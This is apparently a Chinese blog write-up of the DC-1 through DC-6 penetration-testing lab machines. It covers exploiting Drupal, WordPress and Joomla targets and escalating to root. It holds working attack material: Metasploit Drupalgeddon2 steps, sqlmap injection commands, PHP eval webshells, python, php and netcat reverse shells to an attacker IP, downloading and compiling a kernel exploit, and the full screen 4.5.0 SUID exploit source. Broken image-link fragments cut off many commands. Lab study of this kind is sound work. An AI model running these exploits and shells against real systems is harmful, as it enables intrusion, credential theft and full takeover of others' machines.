DC_1 √ Drupal
依据后面得出:192.168.40.157
前置知识:IP的组成
IPv4 地址的典型格式是 A.B.C.D,其中 A、B、C 和 D 是范围在 0 到 255 之间的十进制数。每个单独的数字对应于地址的 8 位二进制字段,可以表示为 8 位的二进制数。
IPv4由网络部分和主机部分组成
A.B.C表示网络部分,用于标识网络;D表示主机部分,用于标识特定网络中的主机或设备
当多个IPv4地址的网络部分相同,表示它们在同一个网络中,可以直接进行通信而无需经过网关或路由器进行转发,也说明相应设备在同一个局域网中
1.nmap
先快速探测网段内存活主机:nmap -sP --min-hostgroup 1024 --min-parallelism 1024 192.168.40.0/24
nmap -sP --min-hostgroup 1024 --min-parallelism 1024 192.168.40.0/24
解析:-sP:使用Ping扫描模式,用于快速发现指定IP地址返回内活跃的主机
--min-hostgroup 1024 和 --min-parallelism 1024 是两个选项,用于指定扫描过程中的线程参数
--min-hostgroup 1024:指定同时扫描的最小主机组数
--min-parallelism 1024:指定最低的并行度,也就是同时进行的任务数最少是 1024 个
192.168.120.0/24 是一个 CIDR 格式的 IP 地址范围表示法,其中 /24 表示子网掩码为 24 位,即该 IP 地址范围包含 256 个连续的 IP 地址(从 192.168.120.0 到 192.168.40.255)
得到:
得到了两个警告:但暂时不管
Warning: You specified a highly aggressive --min-hostgroup.
Warning: Your --min-parallelism option is pretty high! This can hurt reliability.即:
您指定了非常激进的 --min-hostgroup 选项。
警告:您的 --min-parallelism 选项设置得很高!这可能会影响扫描的可靠性。
结合mac地址得到了ip:192.168.40.157
探测端口:nmap -A -p- -T4 192.168.40.157
nmap -A -p- -T4 192.168.40.157
选项 -A 表示启用全面扫描模式,对目标主机进行更深入的分析和探测。这个选项会执行多种扫描脚本和探测技术,包括操作系统识别、版本检测、脆弱性扫描等,以获取更详尽的主机信息。
选项 -p- 表示扫描目标主机的所有端口。默认情况下,Nmap 只会扫描一部分常见端口,但使用 -p- 可以指定扫描全部 65535 个端口,以便全面地探测主机上开放的服务和端口。
选项 -T4 指定了扫描的速度和时间延迟。-T4 表示采用较快的扫描速度,同时适度控制请求发送的间隔,以在短时间/i/l/?n=23&i=blog/3065660/202308/3065660-20230815003019930-803097529.png址,表示要对该主机进行扫描.
得到开放的端口:
nmap -A -p- -T4 192.168.40.157
exec("tac /flag > 1.txt")
那么Drupal是什么?搜索可得:
Drupal是一个灵活的,基于LAMP技术栈的CMS(内容管理系统)
2.Wappalyzer
也可以通过Wappalyzer得到:
3.msfconsole
尝试使用msfconsole
寻找并利用与Drupal有关的漏洞:
执行命令:
msfconsole
search Drupal(不区分大小写)
先选取2018年的这个漏洞试试:
利用漏洞:
use exploit/unix/webapp/drupal_drupalgeddon2
查看使用方法:
show options
设置靶机IP:
set RHOSTS 192.168.40.157
开始攻击
run
执行Linux命令:
ls
读取flag:
cat flag1.txt
得到提示:
config file,/i/l/?n=23&i=blog/3065660/202308/3065660-20230815003020952-1938717026.png201643267](渗透靶场.assets/image-20230714201643267.png)
执行:得到flag2
![imag/i/l/?n=23&i=blog/3065660/202308/3065660-20230815003021546-1649224692.png20230714201741148.png)
Brute force and dictionary attacks aren't the
/i/l/?n=23&i=blog/3065660/202308/3065660-20230815003022174-163697878.pngLL need access).
- What can you do with these credentials?
翻译:
穷举攻击(Brute force)和字典攻击(Dictionary attack)并不是获取访问权限的唯一方式(而你确实需要这些权限)。使用这些凭据,你可以做什么呢?
有效的有:
database(数据库)为drupaldb
username(账号)为dbuser
password(密码)为R0ck3t
为了方便,先得到shell:
shell
python -c "impo/i/l/?n=23&i=blog/3065660/202308/3065660-20230815003023661-1324047210.pngmage-20230729211325297](渗透靶场.assets/image-20230729211325297.png)
![image-20230/i/l/?n=23&i=blog/3065660/202308/3065660-20230815003024585-1304473891.png9211356390.png)
### 4.MySQL信息泄露
根据上面给出的账号密码,尝试MySQL登录:
```sql
mysql -u dbus/i/l/?n=23&i=blog/3065660/202308/3065660-20230815003025420-1343892838.png透靶场.assets/image-20230729211756076.png)
成功登录,接下来就是查数据库:
```sql
show databases;
use drupaldb;
show tables;
```/i/l/?n=23&i=blog/3065660/202308/3065660-20230815003026016-1683679159.pngs/image-20230729212111210.png)
```sql
# 查看表的信息并纵向排列:
select * from users\G;
![i/i/l/?n=23&i=blog/3065660/202308/3065660-20230815003026894-1460717996.pngge-20230729212301687.png)
猜测可能是经过哈希加密后的结果,下面寻找加密逻辑
cd /var/www
find . -name "*hash*"/i/l/?n=23&i=blog/3065660/202308/3065660-20230815003028126-889449561.pngmage-20230729213005675](渗透靶场.assets/image-20230729213005675.png)
查看加密逻辑:
![image-20230729213054441](渗透靶场.assets/image-20230729213054441.png)
![image-20230729/i/l/?n=23&i=blog/3065660/202308/3065660-20230815003029332-1933534057.png3222563.png)
emmm,确实跟哈希有关.
该文件后面也有进一步的解释,但是与其破解原来的密码,不如更改成一个我们已知的新的密码
### 5.修改MySQL密码
若密码为6/i/l/?n=23&i=blog/3065660/202308/3065660-20230815003030032-70172396.png(渗透靶场.assets/image-20230729213529500.png)
```bash
passwor/i/l/?n=23&i=blog/3065660/202308/3065660-20230815003030792-1535038471.pngWgFtUmGF9Fp9DVpkDhhPBt8tnQXhzwgQjWvy6Id
则更改密码:
update users set pass='$S$DYl6dwh4W/d.rWgFtUmGF9Fp9DVpkDhhPBt8tnQXhzwgQjWvy6Id'where name="admin";
建议将SQL语句完整正确的构造出来后再在终端输入
成功修改
再次访问并登录管理员admin的账户:
成功登录并得到flag3:
![image-20230729214948193](渗透靶场.assets/image-2023/i/l/?n=23&i=blog/3065660/202308/3065660-20230815003031730-1859649586.png003881](渗透靶场.assets/image-20230729215003881.png)
根据"passwd"可联想到/etc/passwd文件:
猜测有个叫"flag4"的用户,查看:
`/i/l/?n=23&i=blog/3065660/202308/3065660-20230815003032548-422972946.png```
![image-20230729215659701](渗透靶场.a/i/l/?n=23&i=blog/3065660/202308/3065660-20230815003033910-803878874.pnglag4.根据内容提示,要提权到root
查看默认以root权限执行的程序:
find / -perm -u=s -type f 2>/dev/null
# -perm 权限
# -u 用户 s表示特权
# -type 类型
# f 文件
# 2>/dev/null 不显示错/i/l/?n=23&i=blog/3065660/202308/3065660-20230815003034690-1904510851.png场.assets/image-20230729215935969.png)
### 6.find提权
```bash
find / -exec "/bin/bash" -p \; # 以root权限运行/bin/bash文件
-p
即--privi/i/l/?n=23&i=blog/3065660/202308/3065660-20230815003035557-1323366185.png执行的命令已经完整结束,不再包含其他的参数或命令。这样可以确保命令的正确执行,并将-exec
后面的命令应用到find
命令找到的每个文件上
![image-20230729220943945](渗透靶场./i/l/?n=23&i=blog/3065660/202308/3065660-20230815003036549-874106992.png得到flag5:
7.知识点总结
# nmap
nmap -sP --min-hostgroup 1024 --min-parallelism 1024 192.168.40.0/24
nmap -A -/i/l/?n=23&i=blog/3065660/202308/3065660-20230815003037435-1143279539.png
# msfconsole
msfconsole
search Drupal
use exploit/unix/we/i/l/?n=23&i=blog/3065660/202308/3065660-20230815003039042-1772767748.png# 查看使用方法
set RHOSTS 192.168.40.157 # 设/i/l/?n=23&i=blog/3065660/202308/3065660-20230815003039732-50557895.pngthon -c "import pty;pty.spawn('/bin/bash')"
find / -name "set*" # 寻找配置文件(有MySQL的用户信息)
sites/default/files # Drupal的默认路径
show databases; # 查看数据库内的信息
find / -name "*hash*" # 数据库密码的加密文件
# 更改密码
update users set pass='$S$DYl6dwh4W/d.rWgFtUmGF9Fp9DVpkDh/i/l/?n=23&i=blog/3065660/202308/3065660-20230815003040434-344874795.png";
# 查看所有用户的家目录并用find提权
cat /etc/passwd
ls /home # 查看用户
find / -perm -u=s -type f 2>/dev/null # 查看默认以root权限执行的程序
find / -exec "/bin/bash" -p \; # 以root权限运行/bin/bash文件
DC_2 √ WordPress
依据后面得出:192.168.40.158
1.arp-scan
参考教程:https://blog.csdn.net/a310034188/article/details/121624538
信息搜集:
arp-scan -l
得到DC_2的ip为:192.168.40.158
扫描端口
nmap -A -p1-65535 192.168.40.158
作用应该等同于DC_1的:nmap -A -p- -T4 192.168.40.157 (类似)
可看到80端口-HTTP服务,7744-ssh端口(默认22)
尝试访问:
就像博主一样访问失败
添加文件内容:
192.168.40.158 dc-2
C:/Windows/System32/drivers/etc/HOSTS
该文件是什么?
根据Windows系统规定,在进行DNS请求以前,Windows系统会先检查自己的Hosts文件中是否有这个地址映射关系,如果有则调用这个 IP地址映射,如果没有再向已知的DNS服务器提出域名解析。 也就是说Hosts的请求级别比DNS高。 c:WindowsSystem32driversetchosts 是域名解析文件。
保存:
右键属性进行处理:
之后再进行修改后,成功保存
经测试,对HOSTS文件属性的处理,没有影响到其他文件
2.cewl
提示:
Your usual wordlists probably won’t work, so instead, maybe you just need to be cewl.
即要用cewl
Cewl是一款采用Ruby开发的应用程序,你可以给它的爬虫指定URL地址和爬取深度,还可以添额外的外部链接,接下来Cewl会给你返回一个字典文件,你可以把字典用到类似John the Ripper这样的密码破解工具中。除此之外,Cewl还提供了命令行工具。
cewl http://dc-2 -w passwd.txt
使用ip即cewl http://192.168.40.158 -w passwd.txt可能会失败,ip可能被重定向
得到字典:
接下来寻找账号和登录框
3.dirb
使用dirb来挖目录:
dirb:有点像是dirsearch或御剑
dirb http://dc-2u
4.wappalyzer
看CMS:
发现是WordPress,那就使用wpscan攻击
5.wpscan
wpscan --url http://dc-2/ -e u
得到3个用户:admin,jerry,tom
填入到字典中:
使用wpscan爆破账号密码:
wpscan --url http://dc-2 -U admin.txt -P passwd.txt
得到有效的账号密码:
jerry - adipiscing
tom - parturient
登陆成功,但是一片空白:
访问:
回到刚才发现的7744的ssh端口,尝试连接:
ssh [email protected] -p 7744
发现了flag3.txt和-rbash:
-rbash:
查看可用命令:
compgen -c
或者直接用less flag3.txt也行:
涉及到了su
,那应该就是提权了
尝试回到上一级:失败
//尝试使用vi提权:尝试失败
vi随便打开文件
再下面添加
:set shell=/bin/sh
:shell
然后发现这个方法貌似不太好用,于是找到了这篇文章:https://www.cnblogs.com/zhijiya/p/15142059.html
# 把/bin/bash给a变量,绕过rbash
BASH_CMDS[a]=/bin/bash
# 使用并添加环境变量,将/bin作为PATH环境变量导出
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin
难搞的是设置
BASH_CMDS[a]=/bin/sh;a
后无法进行删除操作,只能换行重新输
成功绕过-rbash
然后切换到jerry用户并进入jerry的家目录:
su jerry
cd jerry
ls
cat flag4.txt
提示了git提权
先查看sudo配置文件
sudo -l : 发现git是root权限
证明通过sudo执行git命令时不需要root的密码
进行到这一步的时候有点问题,看这篇文章:https://www.cnblogs.com/xzajyjs/p/15418258.html
sudo git help config
也可以通过那个界面直接切换到root用户
!sudo su
小结:
# dirb使用
dirb http://dc-2 # 扫目录
# wpscan的使用
wpscan --url http://dc-2/ -e u # 生成可用用户
wpscan --url http://dc-2 -U admin.txt -P passwd.txt
# 绕过-rbash相关命令:
BASH_CMDS[a]=/bin/bash
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin
su jerry
# git提权相关命令:
sudo -l
sudo git help config
!sudo su
# 其他命令:
ssh [email protected] -p 7744 # ssh远程连接命令
compgen -c # 查看可用的命令
拓展
git提权:
sudo git help config 或sudo git -p help
!<想执行的命令> # 这里把想执行的命令改为sudo su,su root等切换为root用户的命令即可
# 看其他文章时发现也可以 改为 !/bin/bash或! 'sh'
rbash拓展
这里以centos为例
https://cloud.tencent.com/developer/article/1680551
rbash的受限:
- 使用命令cd更改目录
- 设置或者取消环境变量的设置(SHELL, PATH, ENV, or BASH_ENV)
- 指定包含参数'/'的文件名
- 指定包含参数' - '的文件名
- 使用重定向输出'>', '>>', '> |', '<>' '>&','&>'
查看系统所有可用的shell:
cat /etc/shells
# 可见centos中是没有/bin/rbash和/usr/bin/rbash(而在ubuntu中有)
查看默认的shell:echo $SHELL
查看当前使用的shell:输入不存在的命令
创建rbash的用户
由于没有rbash(rbash不能直接实现),所以在开始之前,需要创建软连接:
cd /bin
ln -s bash rbash # rbash和bash是同个东西,只不过用不同名字启动时,效果不同,据此猜测rbash的全称为restricted bash(受限制的bash)
useradd -s /bin/rbash elapse # 创建用户:指定用/bin/rbash来启动
su elapse # 切换到这个用户
cd /tmp # 收到报错信息
绕过rbash
共6种方法:
1
编辑器绕过rbash
输入vi
,在末行模式中,输入:set shell=/bin/bash
再在末行模式下输入:shell
以DC-2靶机为例:可行
ed编辑器绕过
:可行
尝试DC-2靶机:由于没有这个编辑器,所以失败
编程语言绕过
python
python -c 'import os;os.system("/bin/bash");' # 注意不是用python3
尝试DC-2:没有python环境,所以失败
perl:可用
perl -e 'system("/bin/bash");'
同样的,DC-2无perl环境,所以失败
反弹shell
python反弹
# kali:
nc -lvnp 2333
# 靶机:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
php反弹
:可行
php -r '$sock=fsockopen("LISTENING IP",LISTENING PORT);exec("/bin/sh -i <&3 >&3 2>&3");'
利用二进制文件
more
:复现出问题
less
:
less 1.txt(任意文件名)->出现末行模式
在末行模式下执行: !'bash'
man
可见只要能够出现末行模式,那就有提权的可能
expect绕过
yum install expect
# 依次执行:
expect
spawn sh
sh
ssh
# 先设置centos的初始密码12345678
su root
passwd admin
# 在kali上执行:
ssh [email protected] -t "bash --noprofile"
tom - parturient
尝试用DC-2:失败
DC_3 √ Joomla!
依据后面得出:192.168.40.162,
1.nmap √
参考教程:https://blog.csdn.net/bwt_D/article/details/121291921
第一步还是扫描靶机IP:
nmap -sP 192.168.40.148/24
利用VMware查看虚拟机的mac地址:
根据这个和nmap -sP 192.168.40.148/24
得到的结果:
靶机DC_3的IP: 192.168.40.162
进行完整扫描:
nmap -A 192.168.40.162 -p 1-65535
得到信息:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-20 22:22 CST # 1.启动时间
Nmap scan report for 192.168.40.162 # 2.扫描的对象IP
Host is up (0.0018s latency). # 3.主机存活,延迟为0.0018秒
Not shown: 65534 closed tcp ports (reset) # 4.65534个端口没有开启
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) # 5.开启了80端口,使用的是2.4.18版本的Apache
|_http-title: Home # 6.网页的标题
|_http-generator: Joomla! - Open Source Content Management # 7.网页生成器-即使用的CMS为Joomla!
|_http-server-header: Apache/2.4.18 (Ubuntu) # 8.重复第5点的部分内容
MAC Address: 00:0C:29:0D:C5:91 (VMware) # mac地址
Device type: general purpose # 设备类型为通用设备
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 # 操作系统CPE
OS details: Linux 3.2 - 4.9 # 操作系统用的Linux
Network Distance: 1 hop
2.使用指纹识别whatweb
√
1
whatweb http://192.168.40.162
得到信息:
http://192.168.40.162 [200 OK] Apache[2.4.18], Bootstrap, # 重复上条命令结果的第5第八的内容
Cookies[460ada11b31d3c5e5ca6e58fd5d3de27], # cookies值
Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], # 用的是Ubuntu
HttpOnly[460ada11b31d3c5e5ca6e58fd5d3de27], IP[192.168.40.162], # 得知HttpOnly的值
JQuery, MetaGenerator[Joomla! - Open Source Content Management], # 用的CMS-JQUery
PasswordField[password], Script[application/json], Title[Home] # 表单部分
3.1使用joomscan
进行扫描 √
参考:https://www.freebuf.com/sectool/181440.html
JoomScan实现漏洞检测的自动化,加强了对Joomla项目的安全检测,
能够检测已知的漏洞,如错误配置漏洞和管理权限漏洞,能以HTML或文本格式导出扫描报告:
下载:https://www.cnblogs.com/1-Ry/p/15075074.html
sudo apt install joomscan
可设置cookie,url等信息
使用:
joomscan -u 192.168.40.162
3.2 WebPathBrute.1.6.2扫描 √
参考:https://blog.csdn.net/a310034188/article/details/122709729
扫描:
3.3 继续操作
扫描后可进入网站后台:
http://192.168.40.162/administrator
可知网站后台为joomla3.7.0模板
?这是怎么知道的?
4.1 扫描CMS漏洞-onlinetool ×
git clone https://github.com/iceyhexman/onlinetools.git
cd onlinetools
pip3 install -r requirements.txt
nohup python3 main.py &
在进行第3步的时候出现:
4.2使用searchsploit
查找漏洞 √
searchsploit joomla 3.7.0
不过完整路径为:
/usr/share/exploitdb/exploits/php/webapps/42033.txt
/usr/share/exploitdb/exploits/php/webapps/43488.txt
关于前缀
/usr/share/exploitdb/exploits
:这里面存储了漏洞扫描报告和漏洞利用方法
查看:
另一种用法:
5.1 利用searchsexploit攻击
searchsexploit joomla | grep 3.7
cat文件:
cat /usr/share/exploitdb/exploits/php/remote/44227.php
# 注:这个44227.php文件就是一个脚本
所以将其重定向到本地指定php文件,然后访问:
访问得到:
输入URL并Exploit it:
得到password:
$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
5.1 sqlmap
由4.2可得payload:
sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
这里需要将localhost改为靶机IP:192.168.40.162
即:
# 查库
sqlmap -u "http://192.168.40.162/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
分析:
sqlmap -u "http://192.168.40.162/index.php ?option=com_fields &view=fields&layout=modal &list[fullordering]=updatexml" --risk=3 # 设置SQL注入检测的风险等级为3(最高级) --level=5 # 设置SQL注入检测的深度为5(最高级) --random-agent # 使用随机生成的User-Agent --dbs -p list[fullordering] # 指定要测的参数为list[fullordering]
得到:
会有几次询问,除了最后一次是n,其他都是Y
列出joomladb库的所有表名:
# 查表
sqlmap -u "http://192.168.40.162/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" --tables -p list[fullordering]
找到了表#_users
列出users表的字段类型:
# 查列
sqlmap -u "http://192.168.40.162/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' --columns -p list[fullordering]
6.john破解哈希密码(Mysql)
john工具破解密码:
echo '$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu' > hash.txt
john hash.txt --show
得到密码为snoopy
7.1 写入木马
登录:http://192.168.40.162/administrator/
账号:admin
密码:snoopy
登录后点击:
这里有两个模板
写入木马:
由于不知道网站首页http://ip/index.php用的是哪个模板,所以这里在两个模板之中都写上一句话木马
用蚁剑连接:
这里靶机IP为192.168.40.172
7.2 weevely
也可以使用weevely:
# 生成后门木马
weevely generate test test.php # 其中test为连接密码,test.php为路径
关于weevely:https://blog.csdn.net/qq_45521281/article/details/106587791
weevely是Linux中的菜刀
weevely http://192.168.40.162/templates/beez3/shell.php test
但是没明白http://192.168.40.162/templates/beez3/shell.php
得到了shell:
8.提权-内核漏洞
接下来就是权限提升了
查看内核:
uname -a
查看Ubuntu发行版本:
lsb_release -a
得知是ubuntu 16.04
# 查找漏洞
searchsploit ubuntu 16.04 linux
cat /usr/share/exploitdb/exploits/linux/local/39772.txt
下载exp到本地:
# kali
wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip
在39772.zip所在目录下开启HTTP服务:
php -S 0.0.0.0:8080
在靶机上下载kali上的这个39772.zip:
# 选择靶机的/var/www/html这个目录
wget http://192.168.40.148:8080/39772.zip
unzip 39772.zip
cd 39772
tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit
chmod 777 *
./compile.sh
./doubleput
最终结果:
DC_4 √
依据后面得出:192.168.40.163
1.nmap
kali的IP:192.168.40.148
扫描同网段的其他IP:
nmap -sP 192.168.40.148/24
扫描结果:
先IP后mac地址
再通过查看DC_4的mac地址,可得DC_4靶机的IP:192.168.40.163
全盘扫描:
nmap -A 192.168.40.163 -p 1-65535 -oN nmap.A
-A
:该选项表示使用 "Aggressive" 扫描模式,进行更深入的探测,并尝试进行操作系统和版本的识别。
-oN nmap.A
:将扫描结果以正常格式输出到名为nmap.A
的文件中。
可得:1.22端口开启了SSH服务 2.80端口开放HTTP服务
根据第2条信息,访问可得:
发现了一个登录框,然后bp弱口令爆破:
2.1bp
猜测账户名为admin,所以这里是爆破密码
爆破得到密码是happy
登录后点击可得地址:http://192.168.40.163/command.php
3.RCE
执行了命令,点击"RUN"并抓包可得:
查看/etc/passwd:
查看所有普通用户的用户名:
发现了有3个普通用户:
charles、jim、sam
然后查看他们的家目录:
在jim的家目录下发现了3个文件:backups,mbox,test.sh
在backups目录下发现了旧密码备份文件:old-passwords.bak
根据以上结果,制作密码字典与用户名字典:
4.ssh爆破
利用两个字典对SSH(对应22端口)进行爆破:
hydra -L user.dic -P passwd.bak ssh://192.168.40.163 -vV -o hydra.ssh
字段解析:
-L user.dic
: 指定用户名列表
-P passwd.bak
:指定密码列表
ssh://192.168.40.163
:指定爆破得IP地址
-vV
:设置 hydra 为详细模式,显示更多的输出信息
-o
:hydra.ssh:将结果输出到名为hydra.ssh的文件中
查看hydra.ssh对象:
用户名:jim 密码:jibril04
尝试使用ssh登录:
ssh [email protected] -p 22
5./var/mail信息泄露
根据WP,查到了/var/mail:
得到了另一组账号密码:
charles
^xHhA&hvim0y
ssh登录:
ssh [email protected]
查看不需要密码就能使用root权限执行的命令:
sudo -l
发现了teehee命令
teehee:https://www.cnblogs.com/zlgxzswjy/p/16118468.html
即:
echo "raaj::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
再来一个su raaj即可提权成功
另外,尝试不用
ssh [email protected]
,直接在jim用户下运行sudo -l
:即jim用户在dc-4靶机上以超级用户权限运行
sudo
命令,jim
用户没有被授予sudo
的执行权限,所以必须要用ssh [email protected]
登录charles用户
6.teehee提权
关于teehee
:
teehee:https://www.cnblogs.com/zlgxzswjy/p/16118468.html
即:
echo "raaj::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
再来一个su raaj即可提权成功
所以在passwd后面追加:
sudo teehee -a /etc/passwd
GGG::0:0:::/bin/bash
也可直接使用:echo "raaj::0:0:::/bin/bash" | sudo teehee -a /etc/passwd && su raaj
来提权
7.小结:
重要步骤有:
# nmap扫描
nmap -sP 192.168.40.148/24
nmap -A 192.168.40.163 -p 1-65535 -oN nmap.A
# bp爆破使用的字典:
C:\Users\Star\Desktop\漏洞(靶场)学习资源\字典合集\top1000.txt
# ssh爆破与登录
hydra -L user.dic -P passwd.bak ssh://192.168.40.163 -vV -o hydra.ssh
ssh [email protected] -p 22
# /var/mail信息泄露
cd /var/mail
# 查看无需密码便可执行的命令
sudo -l
# teehee提权
sudo teehee -a /etc/passwd
GGG::0:0:::/bin/bash
# 或直接:
echo "raaj::0:0:::/bin/bash" | sudo teehee -a /etc/passwd && su raaj
DC-5 √
依据后面得出:192.168.40.164
192.168.40.170
参考:https://www.freebuf.com/sectool/259277.html
1.nmap
老规矩,nmap扫IP和端口:
# 扫IP:
nmap -sP 192.168.40.148/24
# 扫端口:
nmap -A 192.168.40.164 -p 0-65535
开放了两个端口:
1.80端口-http服务
2.111端口-rpcinfo服务
2.dirsearch
对80端口进行dirsearch扫描:
apt-get install dirsearch
dirsearch -u http://192.168.40.164/ -e*
发现了几个可疑文件:contact.php,faq.php,footer.php,thankyou.php
再逐个访问这些文件,发现这几个文件可能有问题:
contact.php
footer.php
:页面的数字在刷新之后会变化:
thankyou.php
想来footer.php和thankyou.php应该有点关系,看起来可能是thanyou.php中包含了footer.php:
所以可能存在文件包含漏洞
3.爆破变量名与文件包含漏洞
爆破变量名:
初步证明了存在文件包含漏洞,且变量名为file
再次验证:
验证确实有文件包含漏洞
又由前面得知是nginx服务器,所以可以尝试包含日志access.log
访问日志主要记录客户端的请求。客户端向Nginx服务器发起的每一次请求都记录在这里。客户端IP,浏览器信息,referer,请求处理时间,请求URL等都可以在访问日志中得到。
位置:/var/log/nginx/access.log (Nginx服务器)
由于原DC-5靶机出了意外,所以现在新开了一个DC-5靶机,靶机IP为192.168.40.170
写入一句话木马: (注意是直接在hackbar中修改)
<?php @eval($_POST[1]);?>
再次包含日志:
参考:https://blog.csdn.net/qq_43462485/article/details/109337431
蚁剑连接:http://192.168.40.170/thankyou.php?file=../../../../var/log/nginx/access.log
使用蚁剑是为了方便上传文件,免得使用wget等命令
可以在蚁剑中打开虚拟终端:
由于日志时常在更新,可能不稳定,所以再次上传文件:
由于在网站根目录无法实现上传或新建php文件的功能,所以选择/tmp目录
再次连接:这下连接就变得比较稳定了(但注意/tmp目录下的文件按照规则会自动清理)
4.提权
查找具有SUID权限的命令:
find / -perm /4000 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
# 经测试,这3条语句均能用,且作用等效
查找漏洞:
searchsploit screen 4.5.0
完整路径:/usr/share/exploitdb/exploits/linux/local/41154.sh
查看这个41154.sh文件:
在利用EXP之前先通过蚁剑反弹shell:
在kali上接收反弹的shell,并改为交换式shell:
反弹shell后cd到靶机的/tmp目录,之后所有的操作都在这个目录下进行,不涉及靶机的其他目录
创建libhax.c:(通过蚁剑完成-直接编写或拖拽上传写好的libhax.c文件)
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
# 在反弹的shell上编译并删除libhax.c
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
注意先后顺序
创建或上传rootshell.c文件-可通过蚁剑完成
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
# 在反弹的shell上编译并删除rooshell.c
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
将剩余代码放入d.sh文件中:并在末行模式下输入:set ff=unix
# kali,这里选择/tmp目录
vim d.sh
:set paste->回车
粘贴d.sh内容(见后)
:set ff=unix ->回车
:wq -> 回车
php -S 0.0.0.0:8081 # 以便执行后来的wget命令,注意这个命令要在d.sh所在目录下运行
# d.sh的内容
#!/bin/bash
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
通过wget或蚁剑将d.sh上传到靶机的/tmp目录下
# 反弹的shell上运行:
wget http://192.168.40.148:8081/d.sh
chmod +x d.sh # 赋权
./d.sh # 执行
然后提权成功,拿到flag
在反弹的shell上运行的命令:
注意点:
1.反弹shell后编译,避免在kali上编译,否则会出现:
2.避免在蚁剑的虚拟终端中编译
3.注意命令执行的顺序
DC-6 √ WordPress
依据后面得出:192.168.40.166
1.nma- 扫IP与端口
参考:https://blog.csdn.net/weixin_43583637/article/details/102785246
查看kali的IP:
ip addr
得知ip为192.168.40.148
扫IP(存活主机):
nmap -sP 192.168.40.148 # 结果为192.168.40.166
扫端口:
nmap -A 192.168.40.166 -p 0-65535
可以发现依旧是22端口的SSH服务,80端口的HTTP服务
访问80端口:http://192.168.40.166
解决方法:
vim /etc/hosts
192.168.40.166 wordy
/etc/hosts:
如果是windows系统下访问的话,修改C:\Windows\System32\drivers\etc\HOSTS文件
感觉这个跟DC-2差不多
2.Wappalyzer-网站结构
看CMS:
发现是WordPress.
此时就有两种方法,一种是DC-2的方法,用wpscan和其他方法得到账号密码
另一种是利用msf或searchexploit查找并利用相关漏洞
3.cewl
cewl可根据文本生成字典
cewl http://wordy -w passwd.txt
4.1dirb
dirb挖文件和目录:
dirb http://wordy
http://wordy/wp-admin/network/admin.php
4.2 dirsearch
也可以使用dirsearch扫文件和目录:
dirsearch -u http://wordy -e*
http://wordy/wp-login.php?redirect_to=http%3A%2F%2Fwordy%2Fwp-admin%2F&reauth=1
如果遇到了这种:
那就将wordy换为靶机ip再访问并登录一下.
5.wpscan获取用户名
则使用wpscan攻击,得到用户名:
wpscan --url http://wordy/ -e u
将这5个用户名写入字典之中:
6.wpscan爆破账号密码
使用wpscan爆破账号密码:
wpscan --url http://wordy -U admin.txt -P passwd.txt
根据提示,要使用kali上的字典:
cat /usr/share/wordlists/rockyou.txt|grep k01>passwords.txt
wpscan --url http://wordy -P passwords.txt -U admin.txt
得到:
mark; helpdesk01
输入:
进入后台:
这个就有点像利用ping和管道符执行命令的题,都是跟IP有关
7.RCE
尝试:
既然可以执行shell命令,那就直接反弹shell:
发现在那个框的字符有长度限制,所以选择抓包:
# kali:
nc -lvnp 2333
# 抓包:
127.0.0.1|nc -e /bin/bash 192.168.40.148 2333
发送后立刻得到shell:
开启交互模式:
python -c 'import pty;pty.spawn("/bin/bash")'
8.目录遍历与信息泄露
获得:graham - GSo7isUM1D4
登录失败,则尝试用SSH登录:
ssh [email protected]
成功登录
可以直接用SSH登录mark用户而不用反弹shell吗?不可:
查看免密的命令:
sudo -l
查看文件:
里面是一个能够运行的shell命令
9.利用shell文件切换用户
尝试在文件中添加命令行:
echo '/bin/bash'>>backups.sh
现在我们需要登录jens用户的终端看看:
直接尝试切换为root会怎么样?-失败
所以执行:
sudo -u jens ./backups.sh
一样的,查看jens用户的免密命令有什么:
sudo -l
10.nmap提权
因为nmap 可以运行文件,那就写一个用于打开root的shell的文件,然后用nmap运行:
echo 'os.execute("su root")' >getshell.nse
sudo nmap --script=getshell.nse
成功切换到root
然后拿flag:
cd /root
ls
cat theflag.txt
